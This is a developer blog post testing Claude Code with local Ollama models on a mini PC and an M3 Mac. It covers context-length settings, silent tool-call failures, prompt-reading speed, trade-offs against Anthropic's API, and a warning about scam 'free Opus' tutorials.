&lt;span class="c"&gt;# [Service]&lt;/span&gt;
&lt;span class="c"&gt;# Environment=OLLAMA_CONTEXT_LENGTH=32768&lt;/span&gt;
&lt;span class="c"&gt;# Environment=OLLAMA_HOST=0.0.0.0:11434   # only if Claude Code runs on another machine&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl daemon-reload &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart ollama

&lt;span class="c"&gt;# or, running it by hand (macOS too)&lt;/span&gt;
&lt;span class="nv"&gt;OLLAMA_CONTEXT_LENGTH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;32768 ollama serve
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ollama listens only on &lt;code&gt;127.0.0.1&lt;/code&gt; by default (&lt;a href="https://docs.ollama.com/faq" rel="noopener noreferrer"&gt;FAQ&lt;/a&gt;), which is all you need when Claude Code runs on the same machine. My Ollama runs on the mini PC and Claude Code on the Mac, so I set &lt;code&gt;OLLAMA_HOST&lt;/code&gt; to expose it on my network.&lt;/p&gt;

&lt;p&gt;Then, on the machine where you run Claude Code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;ANTHROPIC_BASE_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://192.168.1.214:11434   &lt;span class="c"&gt;# your Ollama host&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;ANTHROPIC_AUTH_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ollama                     &lt;span class="c"&gt;# required, ignored by Ollama&lt;/span&gt;
claude &lt;span class="nt"&gt;--model&lt;/span&gt; gemma4:e4b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;ANTHROPIC_BASE_URL&lt;/code&gt; and &lt;code&gt;ANTHROPIC_AUTH_TOKEN&lt;/code&gt; are documented Claude Code &lt;a href="https://code.claude.com/docs/en/env-vars" rel="noopener noreferrer"&gt;environment variables&lt;/a&gt;; the token is a placeholder Ollama ignores. Ollama also ships a one-liner, &lt;code&gt;ollama launch claude&lt;/code&gt;, that picks a model and sets this up for you (&lt;a href="https://docs.ollama.com/integrations/claude-code" rel="noopener noreferrer"&gt;docs&lt;/a&gt;). Two optional variables I used in the tests: &lt;code&gt;CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1&lt;/code&gt; turns off telemetry, error reporting and auto-updates, and &lt;code&gt;API_TIMEOUT_MS&lt;/code&gt; gives a slow server more time to start answering.&lt;/p&gt;

&lt;p&gt;Ollama's API has no authentication. If you expose it like that, keep it on a network you trust.&lt;/p&gt;




&lt;h2&gt;
  
  
  The test: one tiny task, five runs
&lt;/h2&gt;

&lt;p&gt;Every run got the same prompt, in headless mode (&lt;code&gt;claude -p&lt;/code&gt;), allowed to use only &lt;code&gt;Write&lt;/code&gt;, &lt;code&gt;Read&lt;/code&gt; and &lt;code&gt;python3&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Create a file palindrome.py with a function is_palindrome(text) that ignores
case and spaces, plus a few asserts at the bottom. Then run it with python3.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It needs three steps: write the file, run it, report. For reference, I ran the same prompt on Claude itself (Opus 5.5, on my Pro plan): three steps, &lt;strong&gt;10.6 seconds&lt;/strong&gt;, and plain asserts that fail when they should. That's a practical reference, not a controlled comparison: a different model on different hardware, which is exactly the choice you face.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Claude Code&lt;/td&gt;
&lt;td&gt;2.1.311, headless (&lt;code&gt;-p&lt;/code&gt;), my usual global config loaded&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ollama&lt;/td&gt;
&lt;td&gt;0.35.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Models&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;qwen2.5-coder:7b&lt;/code&gt; and &lt;code&gt;gemma4:e4b&lt;/code&gt;, default 4-bit tags&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mini PC&lt;/td&gt;
&lt;td&gt;AMD Ryzen 3 3300U (4 cores, 15 W), Proxmox container with 4 cores and 10 GB of the 16 GB RAM, integrated Radeon Vega via Vulkan&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mac&lt;/td&gt;
&lt;td&gt;Apple M3, 16 GB unified memory, Ollama running natively&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;When&lt;/td&gt;
&lt;td&gt;3 November 2026, one run per configuration (a real-use test, not a lab benchmark)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Here's what happened:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Machine&lt;/th&gt;
&lt;th&gt;Model and context&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;th&gt;Time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Mini PC, iGPU&lt;/td&gt;
&lt;td&gt;Qwen2.5-Coder 7B, default 4k&lt;/td&gt;
&lt;td&gt;No file. Fake tool call as text&lt;/td&gt;
&lt;td&gt;1 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Mini PC, iGPU&lt;/td&gt;
&lt;td&gt;Qwen2.5-Coder 7B, 32k&lt;/td&gt;
&lt;td&gt;No file. Correct code, wrong format&lt;/td&gt;
&lt;td&gt;9 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Mini PC, iGPU&lt;/td&gt;
&lt;td&gt;Gemma 4 E4B, 32k&lt;/td&gt;
&lt;td&gt;File created, then the GPU crashed&lt;/td&gt;
&lt;td&gt;27 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Mini PC, CPU only&lt;/td&gt;
&lt;td&gt;Gemma 4 E4B, 32k&lt;/td&gt;
&lt;td&gt;File created, stopped by my 45 min limit&lt;/td&gt;
&lt;td&gt;45 min+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Mac M3&lt;/td&gt;
&lt;td&gt;Gemma 4 E4B, 32k&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Done: file written, run, reported&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3 min 33 s&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Each failure taught something different, so let's go through them.&lt;/p&gt;

&lt;h3&gt;
  
  
  Test 1: the default context keeps a sixth of the prompt
&lt;/h3&gt;

&lt;p&gt;Ollama's default context window depends on your GPU memory: &lt;strong&gt;4k tokens below 24 GiB of VRAM&lt;/strong&gt; (&lt;a href="https://docs.ollama.com/context-length" rel="noopener noreferrer"&gt;docs&lt;/a&gt;). That covers my mini PC and also a 16 GB Mac.&lt;/p&gt;

&lt;p&gt;Claude Code's request was about 12,900 tokens. Ollama's log shows it kept about 2,000 of them in a 4,096-token slot. The model saw fragments: it named a real Claude Code tool, &lt;code&gt;Skill&lt;/code&gt;, and one of my skills. But it answered with this, as plain text instead of a structured call:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Skill"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"arguments"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"skill"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"code-review"&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Claude Code saw a normal text answer and exited with no error.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A failure that reports success is worse than a crash.&lt;/strong&gt; If you script this, check the files, not the exit code.&lt;/p&gt;

&lt;p&gt;The fix is the &lt;code&gt;OLLAMA_CONTEXT_LENGTH&lt;/code&gt; line above. Ollama's docs recommend at least 64,000 tokens for coding tools; I used 32,768 because the container has 10 GB of RAM, and the largest prompt in these tests was about 19,000 tokens, so it fit.&lt;/p&gt;

&lt;h3&gt;
  
  
  Test 2: right code, wrong format
&lt;/h3&gt;

&lt;p&gt;With the full prompt in context, Qwen2.5-Coder understood the task and wrote a correct function. But it wrote the tool call as text again, with a made-up path and Markdown fences inside the file content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Write"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"arguments"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"file_path"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/Users/.../palindrome.py"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;Markdown code fence&amp;gt;python&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;def is_palindrome(text): ..."&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Claude Code only runs tools that arrive as structured &lt;code&gt;tool_use&lt;/code&gt; blocks. This one arrived as prose, so nothing was written.&lt;/p&gt;

&lt;p&gt;The surprising part: Ollama lists &lt;code&gt;tools&lt;/code&gt; among Qwen2.5-Coder's capabilities (&lt;code&gt;ollama show qwen2.5-coder:7b&lt;/code&gt;). &lt;strong&gt;A declared capability is not proof that the model emits calls in the format the agent needs.&lt;/strong&gt; Gemma 4 E4B declares it too, so the next tests tried it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Test 3: the first real tool call, and a GPU crash
&lt;/h3&gt;

&lt;p&gt;Gemma 4 E4B called &lt;code&gt;Write&lt;/code&gt; properly. After about nine minutes, &lt;code&gt;palindrome.py&lt;/code&gt; existed on my Mac's disk, created by a model running on a mini PC.&lt;/p&gt;

&lt;p&gt;Then step two. Claude Code sent the whole history again, now about 19,300 tokens, and the mini PC had to read it from the start. During that reading, the integrated GPU's Vulkan driver failed (&lt;code&gt;vk::Queue::submit: ErrorDeviceLost&lt;/code&gt;) and Ollama's runner crashed. After 27 minutes Claude Code gave up with an API error.&lt;/p&gt;

&lt;h3&gt;
  
  
  Test 4: stable on CPU, but too slow to finish
&lt;/h3&gt;

&lt;p&gt;To rule out the driver, I made a CPU-only copy of the model (&lt;code&gt;PARAMETER num_gpu 0&lt;/code&gt; in a Modelfile). No crash this time, but prompt reading dropped to 11 to 14 tokens per second. The file appeared after about 19 minutes; step two took until about 44 minutes; my 45-minute limit stopped it in step three.&lt;/p&gt;

&lt;h3&gt;
  
  
  Test 5: the Mac finishes in three and a half minutes
&lt;/h3&gt;

&lt;p&gt;Same model, same context, same prompt, on an M3. Claude Code wrote the file, ran it, read the output and reported that all tests passed. The whole run took 3 minutes 33 seconds.&lt;/p&gt;

&lt;p&gt;The quality matched the model, not the harness. In both Gemma files I inspected, it wrapped the asserts in &lt;code&gt;try/except&lt;/code&gt; and printed a message instead of failing. From the Mac run, trimmed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nf"&gt;is_palindrome&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;racecar&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Test Case 2 Failed: &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;racecar&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nf"&gt;is_palindrome&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hello&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Test Case 3 Failed: &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;hello&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;
    &lt;span class="c1"&gt;# ...
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;All tests passed successfully!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;AssertionError&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;--- TEST FAILED ---&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script exits with status 0 even when a test fails. A reviewer would catch it; an agent that trusts the exit code would not.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why it takes minutes: the 13,000 tokens you never see
&lt;/h2&gt;

&lt;p&gt;The model's writing speed was not the main problem. Gemma wrote about 7 tokens per second on the mini PC's GPU and about 20 on the Mac, fine for a short file. The problem was &lt;strong&gt;reading&lt;/strong&gt;. These ranges come from Ollama's logs across the runs above:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Machine&lt;/th&gt;
&lt;th&gt;Prompt reading (tokens/s)&lt;/th&gt;
&lt;th&gt;Generation (tokens/s)&lt;/th&gt;
&lt;th&gt;Reading a 13k prompt&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Mini PC, CPU only&lt;/td&gt;
&lt;td&gt;11 to 14&lt;/td&gt;
&lt;td&gt;about 3&lt;/td&gt;
&lt;td&gt;15 to 20 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mini PC, iGPU&lt;/td&gt;
&lt;td&gt;19 to 37&lt;/td&gt;
&lt;td&gt;3.7 to 7.5&lt;/td&gt;
&lt;td&gt;6 to 11 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mac M3&lt;/td&gt;
&lt;td&gt;190 to 230&lt;/td&gt;
&lt;td&gt;13 to 21&lt;/td&gt;
&lt;td&gt;about 1 min&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Every agent step sends the system prompt, the tool definitions and the whole conversation so far. In my runs that was about 12,900 tokens on step one and about 19,000 on step two. That number includes my own global setup (a &lt;code&gt;CLAUDE.md&lt;/code&gt; with engineering rules and a list of skills), so a clean install sends less, but the shape is the same: &lt;strong&gt;the agent pays for its instructions on every step, before the first word of the answer.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Two more costs showed up in the logs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The cache didn't save the second step.&lt;/strong&gt; Ollama can reuse the start of a previous prompt, but on the Mac it re-read all 19,000 tokens on step two, so its cache didn't match the earlier request. I don't know what changed between steps. Anthropic's prompt caching is built to avoid paying for the same prefix twice; locally, I paid full price.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Claude Code hangs up on a silent server.&lt;/strong&gt; While Ollama reads a long prompt, it sends nothing. On the mini PC, Claude Code dropped the connection about every six minutes and retried, which is consistent with the five-minute idle timeout its &lt;a href="https://code.claude.com/docs/en/env-vars" rel="noopener noreferrer"&gt;docs&lt;/a&gt; describe for streaming responses. Each retry reused part of Ollama's cache, so it crept forward, slowly. &lt;code&gt;API_TIMEOUT_MS&lt;/code&gt; didn't change this, because it only covers the wait for response headers. The same page lists &lt;code&gt;API_FORCE_IDLE_TIMEOUT&lt;/code&gt; and &lt;code&gt;CLAUDE_STREAM_IDLE_TIMEOUT_MS&lt;/code&gt; for this watchdog. I didn't test them, so the retries may be avoidable; the reading time isn't.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;On a 4-core mini PC the agent loop is the bottleneck, not the model.&lt;/strong&gt; The same model, without Claude Code's 13,000-token prompt, wrote 200 tokens in about 27 seconds in my raw benchmark.&lt;/p&gt;




&lt;h2&gt;
  
  
  What the popular tutorials actually do
&lt;/h2&gt;

&lt;p&gt;I looked at six videos that promise free Claude Code. They use three different routes:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Route&lt;/th&gt;
&lt;th&gt;What runs the model&lt;/th&gt;
&lt;th&gt;What you give up&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Ollama, local model&lt;/td&gt;
&lt;td&gt;Your machine&lt;/td&gt;
&lt;td&gt;Speed and quality, set by your hardware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A proxy or router to free cloud tiers&lt;/td&gt;
&lt;td&gt;Someone else's servers, often several providers&lt;/td&gt;
&lt;td&gt;Your code leaves your machine; free tiers have limits&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;"Free Opus for 6 months"&lt;/td&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;You can't verify who provides it: a security risk&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The &lt;strong&gt;local route&lt;/strong&gt; is the one I tested, and the better tutorials are honest about it: it's private, it has no API fees, and it's slower.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;proxy route&lt;/strong&gt; connects Claude Code to free tiers of other providers' models (GLM, Gemini and others), and one of them rotates accounts to avoid hitting limits. It's fast because the model runs in a data centre, but your code goes to whoever runs those servers, and rotating accounts to dodge limits can break the providers' terms of service.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;third route&lt;/strong&gt; promises real Claude models (Opus, the newest ones) for free, unlimited, for months. I didn't open those links, so I can't say what's behind them, and this is not an accusation against anyone. It's a safety alert, because these videos use patterns that security researchers warn about in tutorial videos in general (&lt;a href="https://www.techradar.com/pro/security/watch-out-criminals-are-turning-to-youtube-videos-to-trick-victims-into-downloading-malware" rel="noopener noreferrer"&gt;TechRadar&lt;/a&gt;, &lt;a href="https://www.cybereason.com/blog/from-cracked-to-hacked-malware-spread-via-youtube-videos" rel="noopener noreferrer"&gt;Cybereason&lt;/a&gt;):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a "guide" locked behind subscribe, like and comment;&lt;/li&gt;
&lt;li&gt;the real link in a pinned comment instead of the description;&lt;/li&gt;
&lt;li&gt;"activate it on your PC first, then on your phone", which asks you to run something on your computer;&lt;/li&gt;
&lt;li&gt;three-minute videos with keyword-stuffed descriptions.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Claude's models run in Anthropic's cloud, and every request has a cost. If a third party promises unlimited access to paid Claude models for free, treat it as a red flag: check who provides it, don't click links to unlock a subscription, and never enter your credentials or run software you don't understand. One legitimate offer I verified is Anthropic's &lt;a href="https://www.anthropic.com/claude-for-oss-terms" rel="noopener noreferrer"&gt;six months of Claude Max for eligible open-source maintainers&lt;/a&gt;, and you apply for it on Anthropic's own site.&lt;/p&gt;




&lt;h2&gt;
  
  
  Trade-offs: when this setup makes sense
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Local model through Claude Code&lt;/th&gt;
&lt;th&gt;Claude through Anthropic's API&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Cost per use&lt;/td&gt;
&lt;td&gt;No API fees (hardware and electricity)&lt;/td&gt;
&lt;td&gt;Subscription or per token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Privacy&lt;/td&gt;
&lt;td&gt;Model requests stay on your network&lt;/td&gt;
&lt;td&gt;Code goes to Anthropic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;This 3-step task&lt;/td&gt;
&lt;td&gt;3.5 min on an M3; didn't finish on a mini PC&lt;/td&gt;
&lt;td&gt;10.6 s (Opus 5.5)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Quality&lt;/td&gt;
&lt;td&gt;The open model's (4B to 8B here)&lt;/td&gt;
&lt;td&gt;Claude's&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Works offline&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Failure mode&lt;/td&gt;
&lt;td&gt;Failed silently twice in five runs&lt;/td&gt;
&lt;td&gt;No silent failure in my one run&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;I'd use it for three things: learning how an agent loop works (watching the logs is the best tutorial I know), small private tasks on a machine with Apple Silicon or a real GPU, and offline work where cloud isn't an option.&lt;/p&gt;

&lt;p&gt;I wouldn't use it on a low-power mini PC, for anything with more than a handful of steps, or as a cheaper replacement for Claude on real work. The harness was designed around Claude: its instructions and tool descriptions were written for a model that follows them well. A 4B model gets the same manual, and these tests show where it slips.&lt;/p&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Is this really Claude Code?&lt;/strong&gt;&lt;br&gt;
The app is. The model isn't: every decision comes from the open model you run.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Would a bigger model fix the failures?&lt;/strong&gt;&lt;br&gt;
Probably some of them, at a higher cost. Ollama's own blog suggests larger coding models such as &lt;code&gt;qwen3-coder&lt;/code&gt; and &lt;code&gt;gpt-oss:20b&lt;/code&gt;, which need more memory than my mini PC's container has. I haven't tested them here.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why not just use the 64k context Ollama recommends?&lt;/strong&gt;&lt;br&gt;
On a machine with 16 GB or more to spare, do. A bigger window costs memory, and my container has 10 GB. These tests never went past about 19,000 tokens.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does &lt;code&gt;ollama launch claude&lt;/code&gt; change the results?&lt;/strong&gt;&lt;br&gt;
It saves the configuration step. The model, the hardware and the prompt size are the same, so the speed is too.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is my code private with this setup?&lt;/strong&gt;&lt;br&gt;
With a local model, the model requests go only to your Ollama server. Claude Code itself still sends telemetry and error reports unless you set &lt;code&gt;CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1&lt;/code&gt;. With the proxy route, your code goes to the provider. For sensitive code, check the app's network traffic and telemetry settings yourself instead of relying on one variable.&lt;/p&gt;




&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;"Free Claude Code" is Claude Code without Claude.&lt;/strong&gt; The open model does all the thinking.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Raise Ollama's context first.&lt;/strong&gt; The 4k default kept a sixth of the prompt, and the model improvised.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test tool calling, don't trust the label.&lt;/strong&gt; Both models declared it; only one delivered. Good code in the wrong format writes nothing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prompt reading decides if it works.&lt;/strong&gt; About 13,000 tokens per step took 15 to 20 minutes on a mini PC CPU and about a minute on an M3. Claude did the whole task in 10.6 seconds.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check the result, not the exit code.&lt;/strong&gt; Two runs looked fine and weren't.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One run per setup is a field test, not a failure rate.&lt;/strong&gt; Your hardware and model will move these numbers; the failure modes are what to look for.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Be careful with "free Opus" promises.&lt;/strong&gt; Don't unlock guides, follow pinned links or run unknown software to get a subscription. One legitimate offer I verified is Anthropic's open-source program, applied for on anthropic.com.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What's the slowest hardware you've run a coding agent on, and did it finish? Tell me in the comments.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at &lt;a href="https://instagram.com/diogosoares.dev" rel="noopener noreferrer"&gt;@diogosoares.dev&lt;/a&gt;, where the five tests become a carousel you can save before you try this yourself. This article also has a video walkthrough on my YouTube channel, &lt;a href="https://youtube.com/@diogosoaresdev" rel="noopener noreferrer"&gt;Diogo Soares Dev&lt;/a&gt;, so subscribe there for the next experiments. Let's also connect on &lt;a href="https://www.linkedin.com/in/diogoschmidtsoares" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;, or check out &lt;a href="https://diogosoares.dev" rel="noopener noreferrer"&gt;diogosoares.dev&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>opensource</category>
      <category>programming</category>
      <category>llm</category>
    </item>
    <item>
      <title>The Hidden Cost of Running Multiple AI Coding Agents</title>
      <dc:creator>Diogo Soares</dc:creator>
      <pubDate>Mon, 02 Nov 2026 08:46:55 +0000</pubDate>
      <link>https://dev.to/soaresdiogo/the-hidden-cost-of-running-multiple-ai-coding-agents-575a</link>
